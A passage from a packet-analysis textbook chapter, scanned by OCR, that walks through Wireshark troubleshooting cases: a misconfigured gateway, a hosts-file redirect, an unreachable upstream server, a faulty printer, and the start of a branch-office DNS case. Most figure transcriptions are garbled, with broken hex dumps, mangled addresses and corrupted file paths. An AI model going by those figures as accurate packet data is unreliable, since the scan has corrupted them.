and IP address 172.16.0.8, sends an ARP broadcast packet to all computers 
on the network segment in an attempt to find the MAC address associated 
with the IP address of its default gateway, 172.16.0.10. 


No. Time Source Destination Protocol Info 
1 0.000000 00:25:b3:bf:91:ee Sith eh habe ARP who has 172.16.0.10? Tell 172.16.0.8 
2 0.000090 00:24:81:a1:f6:79 00:25:b3:bf :91:ee ARP 172.16.0.10 is at 00:24:81:a1:f6:79 


Figure 8-17: ARP request and reply for the computer's default gateway 


A response is received in packet 2, and the user's computer learns that 
172.16.0.10 is at 00:24:81:a1:f6:79. Once this reply is received, the computer 
now has a route to a gateway that should be able to direct it to the Internet. 

Following the ARP reply, the computer must attempt to resolve the DNS 
name of the website to an IP address using DNS in packet 3. As shown in 
Figure 8-18, the computer does this by sending a DNS query packet to its 
primary DNS server, 4.2.2.2 @. 


lil 3 0.000105 172.16.0.8 4.2.2.2 DNS Standard query A www.google.com creem] 
@ Frame 3: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) ] 
@ Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:24:81:a1:f6:79 (00:24:81:a1:f6:79) 
& Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 4.2.2.2 (4.2.2.2) 
& User Datagram Protocol, Src Port: 55870 (55870), Dst Port: 53 (53) 
Ej Domain Name System (query) 
l Transaction ID: 0x80d1 
® Flags: 0x0100 (standard query) 
Questions: 1 
i Answer RRS: O 
Authority RRs: 0 
Additional RRs: 0 


B Queries | 
www.google.com: type A, class IN 

|0010 00 3c 03 8a 00 00 80 11 00 00 ac 10 00 08 04 02 

0020 02 02 da 3e 00 35 00 28 b2 55 80 di 01 00 00 01 


Ma) > 


0030 00 00 00 OO OO OO [ER 06 67 6t 6f 67 6c| 
0040 03 63 6f 6d 00 00 O01 _ 00 0: 


4 


Figure 8-18: A DNS query sent to 4.2.2.2 


Under normal circumstances, a DNS server would respond to a DNS 
query very quickly, but that’s not the case here. Rather than a response, we see 
the same DNS query sent a second time to a different destination address. As 
shown in Figure 8-19, in packet 4, the second DNS query is sent to the second- 
ary DNS server configured on the computer, which is 4.2.2.1 6. 
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lg] 0299280 17216084221 DNS Standard query A wwwgooglecom eR] Se) 


Frame 4: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:24:81:a1:f6:79 (00:24:81:a1:f6:79) 
Internet Protocol, Src: 172.16.0.8 (172.16.0.8), DSt: 4.2.2.1 (4.2.2.1) 0) 
user Datagram Protocol, Src Port: 55870 (55870), Dst Port: 53 (53) 
Transaction ID: 0x80d1 
Flags: 0x0100 (Standard query) 
Questions: 1 
Answer RRS: O 
Authority RRS: 0 
Additional RRs: 0 
B Queries 
Œ www.google.com: type A, class IN 


0010 00 3c 03 8b 00 00 80 11 00 00 ac 10 00 08 04 02 


0020 02 01 da 3e 00 35 00 28 b2 54 GRIME 
[AENMEMOO OO OO OO OO 00 03 77 77 77 O6 67 6f 6f 67 Gq 
[0040 EMCS O3 63 6f 6d OO OO O1 OO O1 


= a = — 


Figure 8-19: A second DNS query sent to 4.2.2.1 


Again, no reply is received from the DNS server, and the query is sent 
again one second later to 4.2.2.2. This process repeats itself, alternating the 
destination packets between the primary ® and secondary 0 configured DNS 
servers over the next several seconds, as shown in Figure 8-20. The entire 
process takes around 8 seconds ®, which is how long it takes before the user's 
Internet browser reports that a website is inaccessible. 


z 
9 
e 


ime Source Destination Protocol Info 


1 0.000000 00:25:b3:bf:91:ee ff:ff:iff:ft bf: fE ARP who has 172.16.0.10? Tell 172.16.0.8 
2 0.000090 00:24:81:a1:f6:79 00:25:b3:bf:91:ee ARP 172.16.0.10 is at 00:24:81:a1:f6:79 
3 0.000105 172.16.0.8 4.2.2.2 €) DNS Standard query A www. google. com 

4 0.999280 172.16.0.8 4.2.2.1 DNS Standard query A ww. google. com 

5 1.999279 172.16.0.8 C EVA Ara DNS Standard query A www.google.com 

6 3.999372 172.16.0.8 4.2.2.1 DNS Standard query A www.google.com 

7 3.999393 172.16.0.8 Hp DNS Standard query A www. google. com 

87. .0.8 4:2:2:T DNS Standard query A www. google. com 
mu .0.8 42:272 query A www. google. 


Figure 8-20: DNS queries repeated until communication stops 


Based on the packets we've seen, we can begin pinpointing the source of 
the problem. First, we see a successful ARP request to what we believe is the 
default gateway router for the network, so we know that device is online and 
communicating. We also know that the user's computer is actually transmit- 
ting packets on the network, so we can assume there isn't an issue with the 
protocol stack on the computer itself. The problem clearly begins to occur 
when the DNS request is made. 

In the case of this network, DNS queries are resolved by an external server 
on the Internet (4.2.2.2 or 4.2.2.1). This means that in order for resolution 
to take place correctly, the router responsible for routing packets to the 
Internet must successfully forward the DNS queries to the server, and the 
server must respond. This all must happen before HTTP can be used to request 
the web page itself. 

We know that no other users are having issues connecting to the Internet, 
which tells us that the network router and remote DNS server are probably 
not the source of the problem. The only thing remaining as the potential 
source of the problem is the user's computer itself. 


NOTE 


nowebaccess2 
.pcap 


Upon deeper examination of the affected computer, we find that rather 
than receiving a DHCP-assigned address, the computer has manually assigned 
addressing information, and the default gateway address is actually set incor- 
rectly. The address set as the default gateway is not a router and cannot forward 
the DNS query packets outside the network. 


Lessons Learned 


The problem in this scenario resulted from a misconfigured client. While the 
problem itself turned out to be quite simple, it significantly impacted the user. 
Troubleshooting a simple misconfiguration like this one could take quite 
some time for someone lacking knowledge of the network or the ability to 
perform a quick packet analysis as we've done here. As you can see, packet 
analysis is not limited to large and complex problems. 

Notice that because we didn't enter the scenario knowing the IP address 
of the network's gateway router, Wireshark didn't identify the problem exactly, 
but it did tell us where to look, saving valuable time. Rather than examining 
the gateway router, contacting our ISP, or trying to find the resources to trouble- 
shoot the remote DNS server, we were able to focus our troubleshooting 
efforts on the computer itself, which was, in fact, the source of the problem. 


Had we been more familiar with this particular network’s IP addressing scheme, 
analysis could have been even faster. The problem could have been identified immedi- 
ately once we noticed that the ARP request was sent to an IP address different from that 
of the gateway router. These simple misconfigurations are often the source of network 
problems and can typically be resolved quickly with a bit of packet analysis. 


No Internet Access: Unwanted Redirection 


In this scenario, we once again have a user who is unable to access the Internet 
from her workstation. However, unlike the user in the previous scenario, this 
user can access the Internet, but she cannot access her home page, hitp:// 
www.google.com/. When the user attempts to reach any domain hosted by Google, 
she is directed to a browser page that says “Internet Explorer cannot display 
the web page.” This issue is affecting only this particular user. 

As with the previous scenario, this is a small network with a few simple 
switches and a single router serving as the default gateway. 


Tapping into the Wire 

To begin our analysis, we have the user attempt to browse to Attp:// 
www. google.com/ while we listen to the traffic that is generated using a tap. 
The resulting file is nowebaccess2.pcap. 
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Analysis 


The capture begins with an ARP request and reply, as shown in Figure 8-21. 
In packet 1, the user's computer, with MAC address 00:25:b3:bf:91:ee and IP 
address of 172.16.0.8, sends an ARP broadcast packet to all computers on the 
network segment in an attempt to find the MAC address associated with the 
host's IP address 172.16.0.102. We don't immediately recognize this address. 


No. Time Source Destination Protocol Info 
1 0.000000 00:25:b3:bf:91:ee IRIERRRRUGISEESBIGULE ARP who has 172.16.0.102? Tell 172.16.0.8 
2 0.000334 00:21:70:c0:56:f0 00:25:b3:bf :91:ee ARP 172.16.0.102 is at 00:21:70:c0:56:f0 


Figure 8-21: ARP request and reply for another device on the network 


In packet 2, the user's computer learns that the IP address 172.16.0.102 
is at 00:21:70:c0:56:f0. Based on the previous scenario, we might assume that 
this is the gateway router's address, and that address is used so that packets 
can once again be forwarded to the external DNS server. However, as shown 
in Figure 8-22, the next packet is not a DNS request, but a TCP packet from 
172.16.0.8 to 172.16.0.102. It has the SYN flag set, indicating that this is the 
first packet in the handshake for a new TCP-based connection between the 
two hosts 6. 


E 3 0.000349 172.16.0.8 172.16.0.102 TCP 1074 > 80 [SYN] Seq=4061304577 Win=8192 Len=0 MSS-1460 WS=2 POSES [|n x=) 
Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 


Source port: 1074 (1074) 
Destination port: 80 (80) @ 
[stream index: 0] 
Sequence number: 4061304577 
Header length: 32 bytes 
Flags: Ox02 (SYN 
f Checksum: Ox58b5 [validation disabled] 
@ Options: (12 bytes) 
0010 00 34 05 5b 40 00 80 06 00 00 ac 10 00 08 ac 10 
0020 00 66 04 32 00 50 f2 12 97 01 00 00 00 00 80 [9 
0030 on o 58 b5 00 00 02 04 05 b4 01 03 03 02 01 01 


« Es] 


Figure 8-22: TCP SYN packet sent from one internal host to another 


Notably, the TCP connection attempt is to port 80 @ on 172.16.0.102 ©, 
which is typically associated with HTTP traffic. As shown in Figure 8-23, this 
connection attempt is abruptly halted when the host 172.16.0.102 sends a 
TCP packet in response (packet 4) with the RST and ACK flags set 6. 

Recall from Chapter 6 that a packet with the RST flag set is used to termi- 
nate a TCP connection. However, in this scenario, the host at 172.16.0.8 
attempted to establish a TCP connection to the host at 172.16.0.102 on port 80. 
Unfortunately, because that host has no services configured to listen to 
requests on port 80, the TCP RST packet is sent to terminate the connection. 
This process repeats twice. A SYN is sent from the user's computer and replied 
to with a RST, before communication finally ends, as shown in Figure 8-24. 
At this point, the user receives a message in her browser saying that the 
page cannot be displayed. 


li 4 0.000510 172.16.0.102 172.16.0.8 TCP 80 > 1074 [RST, ACK] Seq=0 Ack-4061304578 Win-0 Len=0 [E 96-3] 9151 5| 


| @ Frame 4: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) 
& Ethernet II, Src: 00:21:70:c0:56:f0 (00:21:70:c0:56:f0), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee) 
& Internet Protocol, Src: 172.16.0.102 (172.16.0.102), Dst: 172.16.0.8 (172.16.0.8) 


Destination port: 1074 (1074) 
[stream index: 0] 

Sequence number: O 
Acknowledgement number: 4061304578 
Header length: 20 bytes 


Flags: Oxl4 (RST, ACK) 1 


Window size: 0 
Checksum: Oxc9aa [validation disabled] 
& [SEQ/ACK analysis] 


0000 00 25 b3 bf 91 ee 00 21 70 cO 56 fO 08 00 45 00 
0010 00 28 00 00 40 00 40 06 e2 41 ac 10 00 66 ac 10 
||0020 00 08 00 50 04 32 00 00 00 00 f2 12 97 02 50 iti 
0030 00 00 c9 aa 00 00 00 00 00 00 00 00 


Figure 8-23: TCP RST packet sent in response to the TCP SYN 


No. Time Source Destination Protocol Info 
3 0.000349 172.16.0.8 172.16.0.102 TCP 1074 > 80 [SYN] Seq-4061304577 win-8192 Len=0 MSS=1460 wS-2 
4 0.000510 172.16.0.102 172.16.0.8 TCP 80 > 1074 [RST, ACK] Seq-0 Ack=4061304578 win=0 Len=0 
5 0.499162 .16.0.8 172.16.0.102 TCP 1074 > 80 [SYN] Seq=4061304577 win-8192 Len-0 MSS-1460 ws-2 
6 0.499362 6.0.102 172.16.0.8 TCP 80 > 1074 [RST, ACK] Seq-0 Ack-4061304578 win-0 Len=0 
7 0.999190 172.16.0.8 172.16.0.102 TCP 1074 > 80 [SYN] Seq=4061304577 win-8192 Len-0 MSS=1460 
8 0.999507 172.16.0.102 172.16.0.8 TCP 80 > 1074 [RST, ACK] Seq=0 Ack=4061304578 win=0 Len=0 


Figure 8-24: The TCP SYN and RST packets are seen three times in total. 


After examining the configuration of another network device that is 
working correctly, the ARP request and reply in packets 1 and 2 concern us 
because the ARP request is not for the gateway router’s actual MAC address, 
but some unknown device. Following the ARP request and reply, we would 
expect to see a DNS query sent to our configured DNS server in order to find 
the IP address associated with www.google.com, but we don’t. There are two 
conditions that could prevent a DNS query from being made: 


e The device initiating the connection already has the DNS name-to-IP 
address mapping in its DNS cache. 


e The device connecting to the DNS name already has the DNS name-to-IP 
address mapping specified in its hosts file. 


Upon further examination of the client computer, we find that the com- 
puter’s hosts file has an entry for www.google.com associated with the internal 
IP address 172.16.0.102. This erroneous entry is the source of our user’s 
problems. 

A computer will typically use its hosts file as the authoritative source for 
DNS name-to-IP address mappings, and will check that file before querying 
an outside source. In this scenario, the user's computer checked its hosts file, 
found the entry for www.google.com, and decided that www.google.com was 
actually on its own local network segment. Next, it sent an ARP request to 
the host, received a response, and attempted to initiate a TCP connection 
to 172.16.0.102 on port 80. However, because the remote system was not con- 
figured as a web server, it would not accept the connection attempts. 

Once the hosts file entry was removed, the user's computer began com- 
municating correctly and was able to access www.google.com. 


Basic Real-World Scenarios 149 


150 


NOTE 


Chapter 8 


To examine your hosts file on a Windows system, open CNWindowsNSSystem32N 
drivers\etc\hosts. On Linux, view / etc/hosts. 


This scenario is actually very common. It's one that malware has been 
using for years to redirect users to websites hosting malicious code. Imagine if 
an attacker were to modify your hosts file so that every time you went to do your 
online banking, it actually redirected you to a fake site designed to steal your 
account credentials! 


Lessons Learned 


As you continue to analyze traffic, you will learn both how the various protocols 
work and how to break them. In this scenario, the DNS query was not sent 
because the client was misconfigured, not because of any external limitations 
or misconfigurations. 

By examining this problem at the packet level, we were able to quickly 
spot an IP address that was unknown and also to determine that DNS, a key 
component of this communication process, was missing. Using this informa- 
tion, we were able to identify the client as the source of the problem. 


No Internet Access: Upstream Problems 


As with the previous two scenarios, in this scenario, a user complains of no 
Internet access from his workstation. This user has narrowed the issue down 
to a single website, hitp://www.google.com/. Upon further investigation, we 
find that this issue is affecting everyone in the organization—no one can 
access Google domains. 

The network is configured as in the two prior scenarios, with a few simple 
switches and a single router connecting the network to the Internet. 


Tapping into the Wire 


In order to troubleshoot this issue, we first browse to hittp://www.google.com/ 
to generate traffic. Because this issue is network wide—meaning it's also 
affecting your computer, and it could be the result of a massive malware 
infection—you shouldn't sniff directly from your device. When you find 
yourself in a situation like this, a tap is the best solution, because it allows 
you to be completely passive after a brief interruption of service. The file 
resulting from the capture via a tap is nowebaccess3.pcap. 


Analysis 


This packet capture begins with DNS traffic instead of the ARP traffic we 
are used to seeing. Because the first packet in the capture is to an external 
address, and packet 2 contains a reply from that address, we can assume that 
the ARP process has already happened and the MAC-to-IP address mapping 
for our gateway router already exists in the host's ARP cache at 172.106.0.8. 
As shown in Figure 8-25, the first packet in the capture is from the host 
172.16.0.8 to address 4.2.2.1 €, and it’s a DNS packet 0. Examining the con- 
tents of the packet, we see that it is a query for the A record for www.google.com ®. 


(lg 1 0.000000 1721608 4.2.2.1 DNS Standard query A www.google.com cocan) 


Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33) 
Internet Protocol, Src: 172.16.0.8 (172.16.0.8), DSt: 4.2.2.1 (4.2.2.1 69 
User Datagram Protocol, Src Port: 64417 (64417), Dst Port: 53 (53) | 
© Domain Name system (query) @ | 
Response In: 2 
Transaction ID: 0x6138 
Flags: 0x0100 (Standard query) 
Questions: 1 
Answer RRs: 0 
Authority RRs: 0 
Additional RRs: 0 
= Queries 3 
E www.google.com: type A, class IN 
Name: www.google.com 
Type: A (Host address) 
Class: IN (0x0001) 


c 10 00 08 04 02 
38 01 00 00 01 


0010 00 3c 17 89 00 00 80 11 
fb al 00 35 00 28 


A 


Figure 8-25: DNS query for www.google.com A record 


The response to the query from 4.2.2.1 is the second packet in the cap- 
ture file, as shown in Figure 8-26. Examining the Packet Details pane, we 
see that the name server that responded to this request provided multiple 
answers to the query @. At this point, all looks well, and communication is 
occurring as it should. 


f ^ 
(@ 2 0.010440 4.2.2.1 172.16.0.8 DNS Standard query response CNAME www.l.google.com A 74.125.95.105 A 74.125.95.106 A 74 lii. Sd tay) 


Frame 2: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits) 
Ethernet II, Src: 00:26:0b:31:07:33 (00:26:0b:31:07:33), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee) 
Internet Protocol, Src: 4.2.2.1 (4.2.2.1), Dst: 172.16.0.8 (172.16.0.8) 
User Datagram Protocol, Src Port: 53 (53), Dst Port: 64417 (64417) 
Domain Name system (response) 

Request In: 1 

[Time: 0.010440000 seconds] 

Transaction ID: 0x6138 
Flags: 0x8180 (standard query response, No error) 

Questions: 1 

Answer RRs: 7 

Authority RRs: 0 


E E) E) [B El 


| Additional RRs: O 
i| & queries | 
| www.google.com: type A, class IN 
l www.google.com: type CNAME, class IN, cname www. 1.google. com | 
Hj ww. 1. google.com: type A, class IN, addr 74.125.95.105 l 
Hj www.l.google.com: type A, class IN, addr 74.125.95.106 
www.l.google.com: type A, class IN, addr 74.125.95.147 
@ www.l.google.com: type A, class IN, addr 74.125.95.99 
Hj www.l.google.com: type A, class IN, addr 74.125.95.103 
www.l.google.com: type A, class IN, addr 74.125.95.104 


0040 00 05 n 
0050 (ij 7 77 7 co 10 
0060 5f 69 r3 
0070 5f 6a 
0080 5f 93 - 
hanan , A 

© I 


Figure 8-26: DNS reply with multiple A records 


Now that the user's computer has determined the web server's IP address, 
it can attempt to communicate with the server. As shown in Figure 8-27, this 
process is initiated in packet 3, with a TCP packet sent from 172.16.0.8 to 
74.125.95.105 @. This destination address comes from the first A record pro- 
vided in the DNS query response seen in packet 2. The TCP packet has the 
SYN flag set @, and it's attempting to communicate with the remote server 
on port 80 6. 
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r ` 
E 3 0.014421 172.16.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 Win=8192 Len=0 MSS=1460 WS=2 koleba 


& Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:26:0b:31:07:33 (00:26:0b: 31:07:33) 
& Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 74.125.95.105 (74.125.95.105) @ 
- Transmission Control Protocol, Src Port: 1251 (1251), Dst Port: 80 (80), Seq: 91743089, Len: O 
Source port: 1251 (1251) 
Destination port: 80 (06 
[stream index: 1] 
Sequence number: 91743089 
Header length: 32 bytes 
+ Flags: 0x02 (SYN) 
E| Checksum: OxOafc [validation disabled] 
& Options: (12 bytes) 


\ 6 Ob 0 00 b3 bf 9 
34 17 8a 40 OO 80 O6 8d 3b 


e3 71 
05 b4 


« Eng» 


L 


Figure 8-27: SYN packet attempting to initiate a connection on port 80 


Because this is a TCP handshake process, we know that we should see a 
TCP SYN/ACK packet sent in response, but instead, after a short time, another 
SYN packet is sent from the source to the destination. This process occurs 
once more after approximately a second, as shown in Figure 8-28, at which 
point communication stops and the browser reports that the website could 
not be found. 


No. 


Time Source 
3 0.014421 172.1 
4 0.019417 172.1 
51.016531 172.1 


Destination Protocol Info 
6.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 win-8192 Len=0 MSS-1460 ws-2 
6.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 win-8192 Len-0 MSS-1460 ws-2 
6.0.8 74.125.95.105 TCP 1251 > 80 [SYN] Seq=91743089 win-8192 Len=0 MSS-1460 ws-2 


Figure 8-28: The TCP SYN packet is attempted three times with no response received. 
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As we troubleshoot this scenario, we consider that we know that the 
workstation within our network can connect to the outside world because the 
DNS query to our external DNS server at 4.2.2.] is successful. The DNS server 
responds with what appears to be a valid address, and our hosts attempt to 
connect to one of those addresses. Also, the local workstation we are attempt- 
ing to connect from appears to be functioning. 

The problem is that the remote server simply isn't responding to our 
connection requests; a TCP RST packet is not sent. This might occur for 
several reasons: a misconfigured web server, a corrupted protocol stack on 
the web server, or a packet-filtering device on the remote network (such as a 
firewall). Assuming there is no local packet filtering device in place, all of the 
other potential solutions are on the remote network and beyond our control. 
In this case, the web server was not functioning correctly, and no attempt to 
access it succeeded. Once the problem was corrected on Google's end, com- 
munication was able to proceed. 


Lessons Learned 


In this scenario, the problem was not one that we could correct. Our analysis 
determined that the issue was not with the hosts on our network, our router, 
or the external DNS server providing us with name resolution services. The 
issue lay outside our network infrastructure. 

Sometimes discovering that a problem isn't really ours can not only relieve 
stress, but also save face when management comes knocking. I have fought 


inconsistent . 
printer.pcap 


with many ISPs, vendors, and software companies who claim that an issue is 
not their fault, but as you’ve just seen, packets don’t lie. 


Inconsistent Printer 


Our IT help desk administrator is having trouble resolving a printing issue. 
Users in the sales department are reporting that the high-volume sales printer 
is malfunctioning. When a user sends a large print job to the printer, it will 
print several pages and then stop printing before the job is done. Multiple 
driver configuration changes have been attempted but have been unsuccess- 
ful. The help desk staff would like you to ensure that this isn’t a network 
problem. 


Tapping into the Wire 

The common thread in relation to this problem is the printer, so we want to 
begin by placing our sniffer as close to the printer as we can. While we can’t 
install Wireshark on the printer itself, the switches used in this network are 
advanced layer 3 switches, so we can use port mirroring. We'll mirror the port 
to which the printer is connected to an empty port, and connect a laptop 
with Wireshark installed into this port. Once this setup is complete, we’ll 
have a user send a large print job to the printer, and we’ll monitor the out- 
put. The resulting capture file is inconsistent_printer.pcap. 


Analysis 


As shown in Figure 8-29, a TCP handshake between the network workstation 
sending the print job (172.16.0.8) and the printer (172.16.0.253) initiates 
the connection at the start of the capture file. Following the handshake, a TCP 
data packet 1,460 bytes in size is sent to the printer ®. The amount of data 
can be seen in the far right side of the Info column in the Packet List pane or 
at the bottom of the TCP header information in the Packet Details pane. 


li 4 0.001436 172.16.0.8 172.160.253 TCP 3527 > 9100 [ACK] Seq=136600788 Ack=2844365960 Win=16425 Len=1460 [Forse z= | 


@ Frame 4: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) 
@ Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:23:7d:77:bd:ba (00:23:7d:77:bd:ba) | 


& Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 172.16.0.253 (172.16.0.253) 
E Transmission Control Protocol, src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 136600788, Ack: 2844365960, Len: 1460 
Source port: 3527 (3527) 
Destination port: 9100 (9100) 
[Stream index: 0] 
Sequence number: 136600788 
[Next sequence number: 136602248] 
Acknowledgement number: 2844365960 
Header length: 20 bytes 
& Flags: 0x10 (ACK) 
Window size: 16425 
Œ checksum: OxSef4 [validation disabled] 
E [sEQ/ACK analysis] 
[Number of bytes in flight: 1460] 
m Data (1460 bytes) ] | 
Data: 1B252D31323334355840504A4C20534554205245543D4F4E... 
[Length: 1460] 


40 29 5e f4 00 OO il 
O 4a 4c 20 4 


e 
I 
E] 
[ 


Figure 8-29: Data being transmitted to the printer over TCP 


Following packet 4, another data packet is sent containing 1,460 bytes 
of data @, as you can see in Figure 8-30. This data is acknowledged by the 
printer 8. 
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No. 


© 


OQ ui & U N | O (o 0 s O ui ew 


BRE RRB 


Time 

000035 
. 001436 
. 000009 
003847 
. 000068 
. 000010 
000007 
000007 
.027984 
.000057 
000014 
. 000009 
. 000009 
064656 


oooooooooooooo 


Source 


algae 
D 
172. 
172. 
172. 
172. 
172. 
aga 
ate 
172. 
172. 
172: 
1727 
172. 


Destination Protocol Info 

.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136600788 Ack-2844365960 win-16425 Len=0 

.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136600788 Ack=2844365960 win-16425 Len-1460 
.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136602248 Ack=2844365960 win-16425 Len-1460 (1) 
. 0.253 172.16.0. 8 TCP 9100 > 3527 [PSH, ACK] Seq-2844365960 Ack-136603708 win-7888 Len-106 
.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136603708 Ack-2844366066 win-16398 Len-1460 
.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136605168 Ack-2844366066 win-16398 Len-1460 
.0.8 172.16.0.253 TCP 3527 » 9100 [ACK] Seq-136606628 Ack-2844366066 win-16398 Len-1460 
.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136608088 Ack=2844366066 win-16398 Len-1460 
.0.253 172.16.0.8 TCP 9100 > 3527 [ACK] Seq=2844366066 Ack-136609548 win-6144 Len=0 

.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136609548 Ack=2844366066 win-16398 Len-1460 
0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136611008 Ack=2844366066 win-16398 Len-1460 
.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136612468 Ack=2844366066 win-16398 Len-1460 
.0.8 172.16.0.253 TCP 3527 > 9100 [ACK] Seq=136613928 Ack-2844366066 Win=16398 Len=1460 

. 0.253 172.16.0.8 TCP 9100 > 3527 [ACK] Seq=2844366066 Ack-136615388 win-4400 Len=0 


Figure 8-30: Normal data transmission and TCP acknowledgments 
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The flow of data continues until the last two packets in the capture. 
Packet 121 is a TCP retransmission packet, and our first sign of trouble, as 
shown in Figure 8-31. 


lil 121 5.502585 172.1608 172.16.0.253 TCP [TCP Retransmission] 3527 > 9100 [ACK] Seq=136719048 Ack=2844366066 Win=16398 Len=1092 coma] 


& Frame 121: 1146 bytes on wire (9168 bits), 1146 bytes captured (9168 bits) ] 
@ Ethernet II, src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:23:7d:77:bd:ba (00:23:7d:77:bd:ba) 
|@ Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 172.16.0.253 (172.16.0.253) 
|@ Transmission Control Protocol, src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 136719048, Ack: 2844366066, Len: 1092 
| Source port: 3527 (3527) 

Destination port: 9100 (9100) | 

[Stream index: 0] 

Sequence number: 136719048 

[Next sequence number: 136720140] 

Acknowledgement number: 2844366066 

Header length: 20 bytes 
j| =Œ Flags: 0x10 (ack) 

window size: 16398 

gj Checksum: Ox5d84 [validation disabled] | 
m [SEQ/ACK analysis] 1 

[Number of bytes Tn flight: 1092] 

B [TCP Analysis Flags] 
5 [This frame is a (suspected) retransmission] 
5 [Expert Info (Note/Sequence): Retransmission (suspected)] 
i [Message: Retransmission (suspected)] 
[severity level: Note] 
[Group: Sequence] 
[The RTO for this segment was: 5.502585000 seconds] (2) 
[RTO based on delta from frame: 1201 &)) 

& Data (1092 bytes) 


000 00 23 7d 77 bd ba 00 25 b3 bf 91 ee 08 00 45 00 iu...X ...... E. a | 
[[0010 04 6c 17 90 40 00 80 06 00 00 ac 10 00 08 ac 10 .1..@... . .. = 
j[0020 00 fd Od c7 23 8c 08 26 2a c8 a9 89 94 f2 50 10 ....#..&* s | 
0030 40 Oe Sd 84 00 00 32 32 32 32 32 32 32 32 32 32 2 22222222 


&j...2 
0040 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 22222222 22222222 - 


Figure 8-31: These TCP retransmission packets are a sign of a potential problem. 


A TOP retransmission packet is sent when one device sends a TCP packet 
to a remote device, and the remote device doesn't acknowledge the transmis- 
sion. Once a retransmission threshold is reached, the sending device assumes 
that the remote device did not receive the data, and it retransmits the packet. 
This process is repeated a few times before communication effectively stops. 

In this scenario, the retransmission is sent from the client workstation to 
the printer because the printer failed to acknowledge the transmitted data. If 
you expand the SEQ/ACK analysis portion of the TCP header along with the 
additional information beneath it, as shown in Figure 8-310, you can view 
the details of why this is a retransmission. According to the details processed 
by Wireshark, packet 121 is a retransmission of packet 120 6. Additionally, 
the retransmission timeout (RTO) for the retransmitted packet was around 
5.5 seconds 6. 

When analyzing the delay between packets, you can change the time dis- 
play format to suit your situation. In this case, because we want to see how 
long the retransmissions occurred after the previous packet was sent, change 
this option by selecting View > Time Display Format and select Seconds Since 


Previous Captured Packet. Then, as shown in Figure 8-32, you can clearly see 
that the retransmission in packet 121 occurs 5.5 seconds after the original 
packet (packet 120) is sent 6. 


No. Time @ Source Destination Protocol Info 
172.16.0.253 TCP [TCP Retransmission] 3527 » 9100 [ACK] Seq-136719048 Ack-2844366066 win-16398 Len-1092 
172.16.0.253 TCP [TCP Retransmission] 3527 » 9100 [ACK] Seq-136719048 Ack-2844366066 win-16398 Len-1092 


121 5.502585 172.16.0.8 
122 5.600089 172.16.0.8 


Figure 8-32: Viewing the time between packets is useful for troubleshooting. 


The next packet is another retransmission of packet 120. The RTO of 
this packet is 11.10 seconds, which includes the 5.5 seconds from the RTO of 
the previous packet. A look at the Time column of the Packet List pane tells 
us that this retransmission was sent 5.6 seconds after the previous retransmis- 
sion. This appears to be the last packet in the capture file and, coinciden- 
tally, the printer stops printing at approximately this time. 

In this analysis scenario, we have the benefit of dealing with only two 
devices inside our own network, so we just need to determine whether the 
client workstation or the printer is to blame. We can see that data is flowing 
correctly for quite some time, and then at some point, the printer simply 
stops responding to the workstation. The workstation gives its best effort to 
get the data to its destination, as evidenced by the retransmissions, but the 
printer simply stops responding. This issue is reproducible and happens 
regardless of which computer sends a print job, so we assume the printer is 
the source of the problem. 

After further analysis, we find that the printer's RAM is malfunctioning. 
When large print jobs are sent to the printer, it prints only a certain number 
of pages, likely until certain regions of memory are accessed. At that point, 
the memory issue causes the printer to be unable to accept any new data, and 
it ceases communication with the host transmitting the print job. 


Lessons Learned 


Although this printer problem was not the result of a network issue, we were 
able to use Wireshark to pinpoint the problem. Unlike previous scenarios, 
this one centered solely on TCP traffic. Luckily, TCP often leaves us with use- 
ful information when two devices simply stop communicating. 

In this case, when communication abruptly stopped, we were able to pin- 
point the exact location of the problem based on nothing more than TCP's 
builtin retransmission functionality. As we continue through our scenarios, we 
will often rely on functionality like this to troubleshoot more complex issues. 


Stranded in a Branch Office 


In this scenario, we have a company with a central headquarters and newly 
deployed remote branch offices. The company's IT infrastructure is mostly 
contained within the central office using a Windows server-based domain 
and a secondary domain controller. The domain controller is responsible 
for handling DNS and authentication requests for users at the branch office. 
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stranded . 
clientside.pcap 


stranded . 
branchdns.pcap 
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The domain controller is a secondary DNS server that should receive its 
resource record information from the upstream DNS servers at the corpo- 
rate headquarters. 

The deployment team is rolling out the new infrastructure to the branch 
office when it finds that no one can access the intranet web application servers 
